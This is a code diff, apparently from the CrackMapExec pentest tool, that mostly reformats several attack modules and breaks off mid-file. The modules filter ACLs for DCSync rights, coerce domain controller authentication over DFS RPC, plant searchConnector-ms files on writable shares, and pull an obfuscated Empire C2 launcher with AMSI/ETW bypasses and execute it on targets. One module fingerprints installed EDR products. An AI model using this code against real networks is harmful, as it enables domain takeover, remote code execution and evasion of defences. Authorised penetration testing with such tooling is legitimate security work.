Prints a full DACL by printing each parsed ACE @@ -530,57 +557,46 @@ class CMEModule: # Filter on specific rights if self.rights is not None: try: - if (self.rights == 'FullControl') and (self.rights not in parsed_ace['Access mask']): + if (self.rights == "FullControl") and (self.rights not in parsed_ace["Access mask"]): print_ace = False - if (self.rights == 'DCSync') and (('Object type (GUID)' not in parsed_ace) or ( - RIGHTS_GUID.DS_Replication_Get_Changes_All.value not in parsed_ace['Object type (GUID)'])): + if (self.rights == "DCSync") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.DS_Replication_Get_Changes_All.value not in parsed_ace["Object type (GUID)"])): print_ace = False - if (self.rights == 'WriteMembers') and (('Object type (GUID)' not in parsed_ace) or ( - RIGHTS_GUID.WriteMembers.value not in parsed_ace['Object type (GUID)'])): + if (self.rights == "WriteMembers") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.WriteMembers.value not in parsed_ace["Object type (GUID)"])): print_ace = False - if (self.rights == 'ResetPassword') and (('Object type (GUID)' not in parsed_ace) or ( - RIGHTS_GUID.ResetPassword.value not in parsed_ace['Object type (GUID)'])): + if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])): print_ace = False except Exception as e: - context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) + context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) # Filter on specific right GUID if self.rights_guid is not None: try: - if ('Object type (GUID)' not in parsed_ace) or ( - self.rights_guid not in parsed_ace['Object type (GUID)']): + if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]): print_ace = False except Exception as e: - context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) + context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) # Filter on ACE type - if self.ace_type == 'allowed': + if self.ace_type == "allowed": try: - if ('ACCESS_ALLOWED_OBJECT_ACE' not in parsed_ace['ACE Type']) and ( - 'ACCESS_ALLOWED_ACE' not in parsed_ace['ACE Type']): + if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]): print_ace = False except Exception as e: - context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) + context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) else: try: - if ('ACCESS_DENIED_OBJECT_ACE' not in parsed_ace['ACE Type']) and ( - 'ACCESS_DENIED_ACE' not in parsed_ace['ACE Type']): + if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]): print_ace = False except Exception as e: - context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) + context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) # Filter on trusted principal if self.principal_sid is not None: try: - if self.principal_sid not in parsed_ace['Trustee (SID)']: + if self.principal_sid not in parsed_ace["Trustee (SID)"]: print_ace = False except Exception as e: - context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) + context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) if print_ace: self.context.log.highlight("%-28s" % "ACE[%d] info" % i) self.print_parsed_ace(parsed_ace) @@ -603,7 +619,9 @@ class CMEModule: elif self.rights == "ResetPassword": _rights_guids = [RIGHTS_GUID.ResetPassword.value] elif self.rights == "DCSync": - _rights_guids = [RIGHTS_GUID.DS_Replication_Get_Changes.value, - RIGHTS_GUID.DS_Replication_Get_Changes_All.value] - self.context.log.highlight('Built GUID: %s', _rights_guids) + _rights_guids = [ + RIGHTS_GUID.DS_Replication_Get_Changes.value, + RIGHTS_GUID.DS_Replication_Get_Changes_All.value, + ] + self.context.log.highlight("Built GUID: %s", _rights_guids) return _rights_guids diff --git a/cme/modules/dfscoerce.py b/cme/modules/dfscoerce.py index 6f262003..58bdbf55 100644 --- a/cme/modules/dfscoerce.py +++ b/cme/modules/dfscoerce.py @@ -11,9 +11,9 @@ from cme.logger import cme_logger class CMEModule: - name = 'dfscoerce' + name = "dfscoerce" description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -27,20 +27,29 @@ class CMEModule: LISTENER Listener Address (defaults to 127.0.0.1) """ self.listener = "127.0.0.1" - if 'LISTENER' in module_options: - self.listener = module_options['LISTENER'] + if "LISTENER" in module_options: + self.listener = module_options["LISTENER"] def on_login(self, context, connection): trigger = TriggerAuth() - dce = trigger.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, doKerberos=connection.kerberos, dcHost=connection.kdcHost) + dce = trigger.connect( + username=connection.username, + password=connection.password, + domain=connection.domain, + lmhash=connection.lmhash, + nthash=connection.nthash, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + doKerberos=connection.kerberos, + dcHost=connection.kdcHost, + ) - if dce is not None: + if dce is not None: context.log.debug("Target is vulnerable to DFSCoerce") trigger.NetrDfsRemoveStdRoot(dce, self.listener) context.log.highlight("VULNERABLE") context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce") dce.disconnect() - + else: context.log.debug("Target is not vulnerable to DFSCoerce") @@ -54,9 +63,14 @@ class DCERPCSessionError(DCERPCException): if key in system_errors.ERROR_MESSAGES: error_msg_short = system_errors.ERROR_MESSAGES[key][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] - return 'DFSNM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + return "DFSNM SessionError: code: 0x%x - %s - %s" % ( + self.error_code, + error_msg_short, + error_msg_verbose, + ) else: - return 'DFSNM SessionError: unknown error code: 0x%x' % self.error_code + return "DFSNM SessionError: unknown error code: 0x%x" % self.error_code + ################################################################################ # RPC CALLS @@ -64,55 +78,57 @@ class DCERPCSessionError(DCERPCException): class NetrDfsRemoveStdRoot(NDRCALL): opnum = 13 structure = ( - ('ServerName', WSTR), - ('RootShare', WSTR), - ('ApiFlags', DWORD), + ("ServerName", WSTR), + ("RootShare", WSTR), + ("ApiFlags", DWORD), ) class NetrDfsRemoveStdRootResponse(NDRCALL): - structure = ( - ('ErrorCode', ULONG), - ) + structure = (("ErrorCode", ULONG),) class NetrDfsAddRoot(NDRCALL): opnum = 12 structure = ( - ('ServerName',WSTR), - ('RootShare',WSTR), - ('Comment',WSTR), - ('ApiFlags',DWORD), - ) + ("ServerName", WSTR), + ("RootShare", WSTR), + ("Comment", WSTR), + ("ApiFlags", DWORD), + ) class NetrDfsAddRootResponse(NDRCALL): - structure = ( - ('ErrorCode', ULONG), - ) + structure = (("ErrorCode", ULONG),) -class TriggerAuth(): +class TriggerAuth: def connect(self, username, password, domain, lmhash, nthash, target, doKerberos, dcHost): - rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netdfs]' % target) - if hasattr(rpctransport, 'set_credentials'): - rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) + rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target) + if hasattr(rpctransport, "set_credentials"): + rpctransport.set_credentials( + username=username, + password=password, + domain=domain, + lmhash=lmhash, + nthash=nthash, + ) if doKerberos: rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) - #if target: + # if target: # rpctransport.setRemoteHost(target) - + rpctransport.setRemoteHost(target) dce = rpctransport.get_dce_rpc() - cme_logger.debug("[-] Connecting to %s" % r'ncacn_np:%s[\PIPE\netdfs]' % target) + cme_logger.debug("[-] Connecting to %s" % r"ncacn_np:%s[\PIPE\netdfs]" % target) try: dce.connect() except Exception as e: cme_logger.debug("Something went wrong, check error status => %s" % str(e)) return try: - dce.bind(uuidtup_to_bin(('4FC742E0-4A10-11CF-8273-00AA004AE673', '3.0'))) + dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0"))) except Exception as e: cme_logger.debug("Something went wrong, check error status => %s" % str(e)) return @@ -123,9 +139,9 @@ class TriggerAuth(): cme_logger.debug("[-] Sending NetrDfsRemoveStdRoot!") try: request = NetrDfsRemoveStdRoot() - request['ServerName'] = '%s\x00' % listener - request['RootShare'] = 'test\x00' - request['ApiFlags'] = 1 + request["ServerName"] = "%s\x00" % listener + request["RootShare"] = "test\x00" + request["ApiFlags"] = 1 if self.args.verbose: cme_logger.debug(request.dump()) # logger.debug(request.dump()) diff --git a/cme/modules/drop-sc.py b/cme/modules/drop-sc.py new file mode 100644 index 00000000..328f3496 --- /dev/null +++ b/cme/modules/drop-sc.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import ntpath + + +class CMEModule: + """ + Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. + https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ + Module by @zblurx + """ + + name = "drop-sc" + description = "Drop a searchConnector-ms file on each writable share" + supported_protocols = ["smb"] + opsec_safe = False + multiple_hosts = True + + def options(self, context, module_options): + """ + Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. + https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ + Module by @zblurx + URL URL in the searchConnector-ms file, default https://rickroll + CLEANUP Cleanup (choices: True or False) + SHARE Specify a share to target + FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents" + """ + self.cleanup = False + if "CLEANUP" in module_options: + self.cleanup = bool(module_options["CLEANUP"]) + + self.url = "https://rickroll" + if "URL" in module_options: + self.url = str(module_options["URL"]) + + self.sharename = "" + if "SHARE" in module_options: + self.sharename = str(module_options["SHARE"]) + + self.filename = "Documents" + if "FILENAME" in module_options: + self.filename = str(module_options["FILENAME"]) + + self.file_path = ntpath.join("\\", f"{self.filename}.searchConnector-ms") + if not self.cleanup: + self.scfile_path = f"/tmp/{self.filename}.searchConnector-ms" + scfile = open(self.scfile_path, "w") + scfile.truncate(0) + scfile.write('') + scfile.write("') + scfile.write("Microsoft Outlook") + scfile.write("false") + scfile.write("true") + scfile.write(f"{self.url}/0001.ico") + scfile.write("") + scfile.write("{91475FE5-586B-4EBA-8D75-D17434B8CDF6}") + scfile.write("") + scfile.write("") + scfile.write("{}".format(self.url)) + scfile.write("") + scfile.write("") + scfile.close() + + def on_login(self, context, connection): + shares = connection.shares() + for share in shares: + context.log.debug(f"Share: {share}") + if "WRITE" in share["access"] and (share["name"] == self.sharename if self.sharename != "" else share["name"] not in ["C$", "ADMIN$"]): + context.log.success(f"Found writable share: {share['name']}") + if not self.cleanup: + with open(self.scfile_path, "rb") as scfile: + try: + connection.conn.putFile(share["name"], self.file_path, scfile.read) + context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms" f" file on the {share['name']} share") + except Exception as e: + context.log.exception(e) + context.log.fail(f"Error writing {self.filename}.searchConnector-ms file" f" on the {share['name']} share: {e}") + else: + try: + connection.conn.deleteFile(share["name"], self.file_path) + context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the" f" {share['name']} share") + except Exception as e: + context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" f" file on share {share['name']}: {e}") diff --git a/cme/modules/drop_searchConnector-ms.py b/cme/modules/drop_searchConnector-ms.py deleted file mode 100644 index 9de49e58..00000000 --- a/cme/modules/drop_searchConnector-ms.py +++ /dev/null @@ -1,83 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- - -import ntpath - -class CMEModule: - """ - Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. - https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ - Module by @zblurx - """ - - name = 'drop-sc' - description = 'Drop a searchConnector-ms file on each writable share' - supported_protocols = ["smb"] - opsec_safe= False - multiple_hosts = True - - def options(self, context, module_options): - """ - Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. - https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ - Module by @zblurx - URL URL in the searchConnector-ms file, default https://rickroll - CLEANUP Cleanup (choices: True or False) - SHARE Specify a share to target - FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents" - """ - self.cleanup = False - if 'CLEANUP' in module_options: - self.cleanup = bool(module_options['CLEANUP']) - - self.url = 'https://rickroll' - if 'URL' in module_options: - self.url = str(module_options['URL']) - - self.sharename = '' - if 'SHARE' in module_options: - self.sharename = str(module_options['SHARE']) - - self.filename = 'Documents' - if 'FILENAME' in module_options: - self.filename = str(module_options['FILENAME']) - - self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename)) - if not self.cleanup: - self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename) - scfile = open(self.scfile_path, 'w') - scfile.truncate(0) - scfile.write('') - scfile.write('') - scfile.write('Microsoft Outlook') - scfile.write('false') - scfile.write('true') - scfile.write('{}/0001.ico'.format(self.url)) - scfile.write('') - scfile.write('{91475FE5-586B-4EBA-8D75-D17434B8CDF6}') - scfile.write('') - scfile.write('') - scfile.write('{}'.format(self.url)) - scfile.write('') - scfile.write('') - scfile.close() - - def on_login(self, context, connection): - shares = connection.shares() - for share in shares: - if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']): - context.log.success('Found writable share: {}'.format(share['name'])) - if not self.cleanup: - with open(self.scfile_path, 'rb') as scfile: - try: - connection.conn.putFile(share['name'], self.file_path, scfile.read) - context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) - except Exception as e: - context.log.fail('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e)) - else: - try: - connection.conn.deleteFile(share['name'], self.file_path) - context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) - except Exception as e: - context.log.fail('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e)) - diff --git a/cme/modules/empire_exec.py b/cme/modules/empire_exec.py index 5c579cc2..f463867a 100644 --- a/cme/modules/empire_exec.py +++ b/cme/modules/empire_exec.py @@ -5,66 +5,134 @@ import sys import requests from requests import ConnectionError -#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message +# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message from requests.packages.urllib3.exceptions import InsecureRequestWarning + requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + class CMEModule: """ - Uses Empire's RESTful API to generate a launcher for the specified listener and executes it - Module by @byt3bl33d3r + Uses Empire's RESTful API to generate a launcher for the specified listener and executes it + Module by @byt3bl33d3r """ - name='empire_exec' + name = "empire_exec" description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it" - supported_protocols = ['smb', 'mssql'] + supported_protocols = ["smb", "mssql"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): """ - LISTENER Listener name to generate the launcher for + LISTENER Listener name to generate the launcher for + SSL True if the listener is using SSL/TLS + OBFUSCATE True if you want to use the built-in Obfuscation (that calls Invoke-Obfuscate) + OBFUSCATE_CMD Override Invoke-Obfuscation command (Default is "Token,All,1" and is picked up by Defender) """ - - if not 'LISTENER' in module_options: - context.log.fail('LISTENER option is required!') - sys.exit(1) - self.empire_launcher = None - headers = {'Content-Type': 'application/json'} - #Pull the host and port from the config file - base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port')) + if "LISTENER" not in module_options: + context.log.fail("LISTENER option is required!") + sys.exit(1) + + api_proto = "https" if "SSL" in module_options else "http" + + obfuscate = True if "OBFUSCATE" in module_options else False + # we can use commands instead of backslashes - this is because Linux and OSX treat them differently + default_obfuscation = "Token,All,1" + obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation + context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}") + + # Pull the host and port from the config file + base_url = f"{api_proto}://{context.conf.get('Empire', 'api_host')}:{context.conf.get('Empire', 'api_port')}" + context.log.debug(f"Empire URL: {base_url}") + + # Pull the username and password from the config file + empire_creds = { + "username": context.conf.get("Empire", "username"), + "password": context.conf.get("Empire", "password"), + } + context.log.debug(f"Empire Creds: {empire_creds}") try: - #Pull the username and password from the config file - payload = {'username': context.conf.get('Empire', 'username'), - 'password': context.conf.get('Empire', 'password')} - - r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False) - if r.status_code == 200: - token = r.json()['token'] - else: - context.log.fail("Error authenticating to Empire's RESTful API server!") - sys.exit(1) - - payload = {'StagerName': 'multi/launcher', 'Listener': module_options['LISTENER']} - r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False) - - response = r.json() - if "error" in response: - context.log.fail("Error from empire : {}".format(response["error"])) - sys.exit(1) - - self.empire_launcher = response['multi/launcher']['Output'] - - context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER'])) - + login_response = requests.post( + f"{base_url}/token", + data=empire_creds, + verify=False, + ) except ConnectionError as e: - context.log.fail("Unable to connect to Empire's RESTful API: {}".format(e)) + context.log.fail(f"Unable to login to Empire's RESTful API: {e}") sys.exit(1) + context.log.debug(f"Response Code: {login_response.status_code}") + context.log.debug(f"Response Content: {login_response.text}") + + if login_response.status_code == 200: + access_token = login_response.json()["access_token"] + headers = {"Authorization": f"Bearer {access_token}"} + else: + context.log.fail("Error authenticating to Empire's RESTful API") + sys.exit(1) + + data = { + "name": "cme_ephemeral", + "template": "multi_launcher", + "options": { + "Listener": module_options["LISTENER"], + "Language": "powershell", + "StagerRetries": "0", + "OutFile": "", + "Base64": "True", + "Obfuscate": obfuscate, + "ObfuscateCommand": obfuscate_cmd, + "SafeChecks": "True", + "UserAgent": "default", + "Proxy": "default", + "ProxyCreds": "default", + "Bypasses": "mattifestation etw", + }, + } + try: + stager_response = requests.post( + f"{base_url}/api/v2/stagers?save=False", + json=data, + headers=headers, + verify=False, + ) + except ConnectionError: + context.log.fail(f"Unable to request stager from Empire's RESTful API") + sys.exit(1) + + if stager_response.status_code not in [200, 201]: + if "not found" in stager_response.json()["detail"]: + context.log.fail(f"Listener {module_options['LISTENER']} not found") + else: + context.log.fail(f"Stager response received a non-200 when creating stager: {stager_response.status_code} {stager_response.text}") + sys.exit(1) + + context.log.debug(f"Response Code: {stager_response.status_code}") + # context.log.debug(f"Response Content: {stager_response.text}") + + stager_create_data = stager_response.json() + context.log.debug(f"Stager data: {stager_create_data}") + download_uri = stager_create_data["downloads"][0]["link"] + + download_response = requests.get( + f"{base_url}{download_uri}", + headers=headers, + verify=False, + ) + context.log.debug(f"Response Code: {download_response.status_code}") + # context.log.debug(f"Response Content: {download_response.text}") + + self.empire_launcher = download_response.text + + if download_response.status_code == 200: + context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'") + else: + context.log.fail(f"Something went wrong when retrieving stager Powershell command") def on_admin_login(self, context, connection): if self.empire_launcher: connection.execute(self.empire_launcher) - context.log.success('Executed Empire Launcher') + context.log.success("Executed Empire Launcher") diff --git a/cme/modules/enum_av.py b/cme/modules/enum_av.py index 90d69e0a..edeacfa2 100644 --- a/cme/modules/enum_av.py +++ b/cme/modules/enum_av.py @@ -15,6 +15,7 @@ class CMEModule: Uses LsarLookupNames and NamedPipes to gather information on all endpoint protection solutions installed on the the remote host(s) Module by @mpgn_x64 """ + name = "enum_av" description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)" supported_protocols = ["smb"] @@ -26,8 +27,7 @@ class CMEModule: self.module_options = module_options def options(self, context, module_options): - """ - """ + """ """ pass def on_login(self, context, connection): @@ -37,18 +37,27 @@ class CMEModule: context.log.debug("Detecting installed services on {} using LsarLookupNames()...".format(target)) try: - lsa = LsaLookupNames(connection.domain, connection.username, connection.password, target, connection.kerberos, connection.domain, connection.lmhash, connection.nthash) + lsa = LsaLookupNames( + connection.domain, + connection.username, + connection.password, + target, + connection.kerberos, + connection.domain, + connection.lmhash, + connection.nthash, + ) dce, rpctransport = lsa.connect() policyHandle = lsa.open_policy(dce) - for i, product in enumerate(conf['products']): - for service in product['services']: + for i, product in enumerate(conf["products"]): + for service in product["services"]: try: - lsa.LsarLookupNames(dce, policyHandle, service['name']) + lsa.LsarLookupNames(dce, policyHandle, service["name"]) context.log.display(f"Detected installed service on {connection.host}: {product['name']} {service['description']}") - if product['name'] not in results: - results[product['name']] = {"services": []} - results[product['name']]['services'].append(service) + if product["name"] not in results: + results[product["name"]] = {"services": []} + results[product["name"]]["services"].append(service) except Exception as e: pass success += 1 @@ -57,17 +66,17 @@ class CMEModule: context.log.display(f"Detecting running processes on {connection.host} by enumerating pipes...") try: - for f in connection.conn.listPath('IPC$', '\\*'): + for f in connection.conn.listPath("IPC$", "\\*"): fl = f.get_longname() - for i, product in enumerate(conf['products']): - for pipe in product['pipes']: - if pathlib.PurePath(fl).match(pipe['name']): + for i, product in enumerate(conf["products"]): + for pipe in product["pipes"]: + if pathlib.PurePath(fl).match(pipe["name"]): context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})") - if product['name'] not in results: - results[product['name']] = {} - if "pipes" not in results[product['name']]: - results[product['name']]['pipes'] = [] - results[product['name']]['pipes'].append(pipe) + if product["name"] not in results: + results[product["name"]] = {} + if "pipes" not in results[product["name"]]: + results[product["name"]]["pipes"] = [] + results[product["name"]]["pipes"].append(pipe) success += 1 except Exception as e: context.log.debug(str(e)) @@ -79,15 +88,15 @@ class CMEModule: out1 = "" for item in results: out = out1 - if 'services' in results[item]: + if "services" in results[item]: out += f"{item} INSTALLED" - if 'pipes' in results[item]: + if "pipes" in results[item]: out += " and it seems to be RUNNING" # else: # for product in conf['products']: # if (item == product['name']) and (len(product['pipes']) == 0): # out += " (NamedPipe for this service was not provided in config)" - elif 'pipes' in results[item]: + elif "pipes" in results[item]: out += f" {item} RUNNING" context.log.highlight(out) if (len(results) < 1) and (success > 1): @@ -95,7 +104,7 @@ class CMEModule: context.log.highlight(out) -class LsaLookupNames(): +class LsaLookupNames: timeout = None authn_level = None protocol = None @@ -105,7 +114,17 @@ class LsaLookupNames(): iface_uuid = lsat.MSRPC_UUID_LSAT authn = True - def __init__(self, domain="", username="", password="", remote_name="", k=False, kdcHost="", lmhash="", nthash=""): + def __init__( + self, + domain="", + username="", + password="", + remote_name="", + k=False, + kdcHost="", + lmhash="", + nthash="", + ): self.domain = domain self.username = username self.password = password @@ -133,7 +152,7 @@ class LsaLookupNames(): rpc_transport.set_connect_timeout(self.timeout) # Authenticate if specified - if self.authn and hasattr(rpc_transport, 'set_credentials'): + if self.authn and hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) @@ -161,254 +180,221 @@ class LsaLookupNames(): def open_policy(self, dce): request = lsad.LsarOpenPolicy2() - request['SystemName'] = NULL - request['ObjectAttributes']['RootDirectory'] = NULL - request['ObjectAttributes']['ObjectName'] = NULL - request['ObjectAttributes']['SecurityDescriptor'] = NULL - request['ObjectAttributes']['SecurityQualityOfService'] = NULL - request['DesiredAccess'] = MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES + request["SystemName"] = NULL + request["ObjectAttributes"]["RootDirectory"] = NULL + request["ObjectAttributes"]["ObjectName"] = NULL + request["ObjectAttributes"]["SecurityDescriptor"] = NULL + request["ObjectAttributes"]["SecurityQualityOfService"] = NULL + request["DesiredAccess"] = MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES resp = dce.request(request) - return resp['PolicyHandle'] + return resp["PolicyHandle"] def LsarLookupNames(self, dce, policyHandle, service): request = lsat.LsarLookupNames() - request['PolicyHandle'] = policyHandle - request['Count'] = 1 + request["PolicyHandle"] = policyHandle + request["Count"] = 1 name1 = RPC_UNICODE_STRING() - name1['Data'] = 'NT Service\{}'.format(service) - request['Names'].append(name1) - request['TranslatedSids']['Sids'] = NULL - request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta + name1["Data"] = "NT Service\{}".format(service) + request["Names"].append(name1) + request["TranslatedSids"]["Sids"] = NULL + request["LookupLevel"] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta resp = dce.request(request) return resp conf = { - "products": [ - { - "name": "Bitdefender", - "services": [ + "products": [ { - "name": "bdredline_agent", - "description": "Bitdefender Agent RedLine Service" + "name": "Bitdefender", + "services": [ + { + "name": "bdredline_agent", + "description": "Bitdefender Agent RedLine Service", + }, + {"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"}, + { + "name": "UPDATESRV", + "description": "Bitdefender Desktop Update Service", + }, + {"name": "VSSERV", "description": "Bitdefender Virus Shield"}, + {"name": "bdredline", "description": "Bitdefender RedLine Service"}, + ], + "pipes": [ + { + "name": "local\\msgbus\\antitracker.low\\*", + "processes": ["bdagent.exe"], + }, + { + "name": "local\\msgbus\\aspam.actions.low\\*", + "processes": ["bdagent.exe"], + }, + { + "name": "local\\msgbus\\bd.process.broker.pipe", + "processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"], + }, + {"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]}, + { + "name": "local\\msgbus\\bdauxsrv", + "processes": ["bdagent.exe", "bdntwrk.exe"], + }, + ], }, { - "name": "BDAuxSrv", - "description": "Bitdefender Auxiliary Service" + "name": "Windows Defender", + "services": [ + { + "name": "WinDefend", + "description": "Windows Defender Antivirus Service", + }, + { + "name": "Sense", + "description": "Windows Defender Advanced Threat Protection Service", + }, + { + "name": "WdNisSvc", + "description": "Windows Defender Antivirus Network Inspection Service", + }, + ], + "pipes": [], }, { - "name": "UPDATESRV", - "description": "Bitdefender Desktop Update Service" + "name": "ESET", + "services": [ + {"name": "ekm", "description": "ESET"}, + {"name": "epfw", "description": "ESET"}, + {"name": "epfwlwf", "description": "ESET"}, + {"name": "epfwwfp", "description": "ESET"}, + {"name": "EraAgentSvc", "description": "ESET"}, + ], + "pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}], }, { - "name": "VSSERV", - "description": "Bitdefender Virus Shield" + "name": "CrowdStrike", + "services": [ + { + "name": "CSFalconService", + "description": "CrowdStrike Falcon Sensor Service", + } + ], + "pipes": [ + { + "name": "CrowdStrike\\{*", + "processes": ["CSFalconContainer.exe", "CSFalconService.exe"], + } + ], }, { - "name": "bdredline", - "description": "Bitdefender RedLine Service" - } - ], - "pipes": [ - { - "name": "local\\msgbus\\antitracker.low\\*", - "processes": [ - "bdagent.exe" - ] + "name": "SentinelOne", + "services": [ + { + "name": "SentinelAgent", + "description": "SentinelOne Endpoint Protection Agent", + }, + { + "name": "SentinelStaticEngine", + "description": "Manage static engines for SentinelOne Endpoint Protection", + }, + { + "name": "LogProcessorService", + "description": "Manage logs for SentinelOne Endpoint Protection", + }, + ], + "pipes": [ + {"name": "SentinelAgentWorkerCert.*", "processes": [""]}, + {"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]}, + {"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}, + ], }, { - "name": "local\\msgbus\\aspam.actions.low\\*", - "processes": [ - "bdagent.exe" - ] + "name": "Carbon Black App Control", + "services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}], + "pipes": [], }, { - "name": "local\\msgbus\\bd.process.broker.pipe", - "processes": [ - "bdagent.exe", - "bdservicehost.exe", - "updatesrv.exe" - ] + "name": "Cybereason", + "services": [ + { + "name": "CybereasonActiveProbe", + "description": "Cybereason Active Probe", + }, + {"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"}, + { + "name": "CybereasonBlocki", + "description": "Cybereason Execution Prevention", + }, + ], + "pipes": [ + { + "name": "CybereasonAPConsoleMinionHostIpc_*", + "processes": ["minionhost.exe"], + }, + { + "name": "CybereasonAPServerProxyIpc_*", + "processes": ["minionhost.exe"], + }, + ], }, { - "name": "local\\msgbus\\bdagent*", - "processes": [ - "bdagent.exe" - ] + "name": "Symantec Endpoint Protection", + "services": [ + { + "name": "SepMasterService", + "description": "Symantec Endpoint Protection", + }, + { + "name": "SepScanService", + "description": "Symantec Endpoint Protection Scan Services", + }, + {"name": "SNAC", "description": "Symantec Network Access Control"}, + ], + "pipes": [], }, { - "name": "local\\msgbus\\bdauxsrv", - "processes": [ - "bdagent.exe", - "bdntwrk.exe" - ] - } - ] - }, - { - "name": "Windows Defender", - "services": [ - { - "name": "WinDefend", - "description": "Windows Defender Antivirus Service" + "name": "Sophos Intercept X", + "services": [ + { + "name": "SntpService", + "description": "Sophos Network Threat Protection" + }, + { + "name": "Sophos Endpoint Defense Service", + "description": "Sophos Endpoint Defense Service" + }, + { + "name": "Sophos File Scanner Service", + "description": "Sophos File Scanner Service" + }, + { + "name": "Sophos Health Service", + "description": "Sophos Health Service" + }, + { + "name": "Sophos Live Query", + "description": "Sophos Live Query" + }, + { + "name": "Sophos Managed Threat Response", + "description": "Sophos Managed Threat Response" + }, + { + "name": "Sophos MCS Agent", + "description": "Sophos MCS Agent" + }, + { + "name": "Sophos MCS Client", + "description": "Sophos MCS Client" + }, + { + "name": "Sophos System Protection Service", + "description": 